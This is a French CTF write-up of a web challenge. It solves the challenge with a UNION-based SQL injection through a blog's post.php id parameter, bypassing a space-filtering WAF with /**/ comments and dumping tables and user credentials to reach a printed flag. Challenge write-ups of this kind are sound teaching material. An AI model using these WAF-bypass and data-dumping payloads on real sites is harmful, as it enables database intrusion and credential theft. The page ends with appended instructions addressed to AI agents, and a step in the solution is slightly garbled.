# SQL Project 2

**Categorie:** WEB - **Points:** 200 - **Difficulté:** Simple - **Solves:** 94\
**Description:**\
L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus securisé de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation...\
Bien commencer : L'une des attaques les plus répandues sur les formulaires d'authentification en ligne reste l'injection SQL. Elle permet d'accéder à un grand nombre d'informations.\
Lien : <https://secureblog.challenge.operation-kernel.fr/v2>

**Solution:**\
Pour résoudre ce challenge il faut trouver une méthode pour obtenir le flag contenu dans la BDD\
Sur cette 2e version du site, la page de login a été enlevée car dans la première version elle était vulnérable et l'administrateur du site a décidé de l'enlever.\
Ca ne nous facilite pas la tâche tout ça...

En cherchant un peu sur le site, nous pouvons voir qu'il y a des articles :\
![image](https://user-images.githubusercontent.com/91023285/178818951-8b745ec6-d533-4a9e-90bc-79e14ce1eeda.png)

En regardant le site, il n'y a pas l'air d'avoir de grosses failles à première vue. Mais ceci dit, si nous regardons les pages de articles nous voyons qu'ils sont appelés de la manière suivante : `https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=X`\
Il y a surement moyen de trouver quelque chose à faire là dedans.

Essayons une injection simple pour voir le nombre de colonnes SQL reçues sur le site :\
\--> `?id=1 ORDER BY 1` => Renvoie un message d'alerte : *An unauthorized character/request has been detected ! This query has been blocked.*\
Bon donc il y a un WAF qui filtre les injections...

Essayons de bypasser les espaces avec `/**/` pour voir si ça passe :\
\--> `?id=1/**/ORDER/**/BY/**/1` => L'article s'affiche sans problème. Le WAF filtre donc les espaces\
Maintenant il faut augmenter la valeur pour voir le nombre de colonnes :\
\--> `?id=1/**/ORDER/**/BY/**/2` => 200 --> `?id=1/**/ORDER/**/BY/**/3` => 200\
\--> `?id=1/**/ORDER/**/BY/**/4` => 200\
\--> `?id=1/**/ORDER/**/BY/**/5` => 200\
\--> `?id=1/**/ORDER/**/BY/**/1` => 404\
Ok donc il y a 5 colonnes reçues.

Maintenant commençons les injections pour récupérer des infos :

* Récupérer le nom des tables : `https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/table_name,/**/NULL/**/FROM/**/information_schema.tables` :\
  ![image](https://user-images.githubusercontent.com/91023285/178824991-5cceb787-1760-49ad-8819-1c4833c7ef01.png)\
  Mince, nous n'avons récupérer que la première table...\
  Comment pourrions-nous faire pour tout récupérer et pas un seul élément ? Avec la fonction SQL `GROUP_CONCAT` : \`\` :\
  ![image](https://user-images.githubusercontent.com/91023285/178825638-2d545d30-b2dd-4c50-8a9c-c57afd7ee69b.png)\
  Il y a bien toutes les tables et à la fin il y a 2 tables potentiellement intéressantes, *article* et *user*
* Récupérer le nom des colonnes de la table *user* : `https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/GROUP_CONCAT(column_name),/**/NULL/**/FROM/**/information_schema.columns` :\
  ![image](https://user-images.githubusercontent.com/91023285/178826271-e1a5774e-f75f-4b2c-96fb-04e745129a99.png)\
  Il y a 2 colonnes très interressantes à la fin, *user* et *password*
* Afficher le contenu des colonnes *user* et *password* : `https://secureblog.challenge.operation-kernel.fr/v2/post.php?id=0/**/UNION/**/SELECT/**/NULL,/**/NULL,/**/NULL,/**/GROUP_CONCAT(id,username,password),/**/NULL/**/FROM/**/user`\
  ![image](https://user-images.githubusercontent.com/91023285/178827230-c2a6dcfa-a13e-4903-8ca4-3523b6ddf53f.png)\
  Oh mais voilà enfin ce merveilleux flag.

  Le challenge se termine donc ici mais il y en a un 3e et déjà qu'ici ce n'était pas simple mais alors le 3e va être très complexe

<details>

<summary>🚩 FLAG</summary>

```
HACK{S3cuRE_Y0uR_1nPUt}
```

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://writeups.ayweth20.com/2022/operation-kernel/web/sql-project-2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
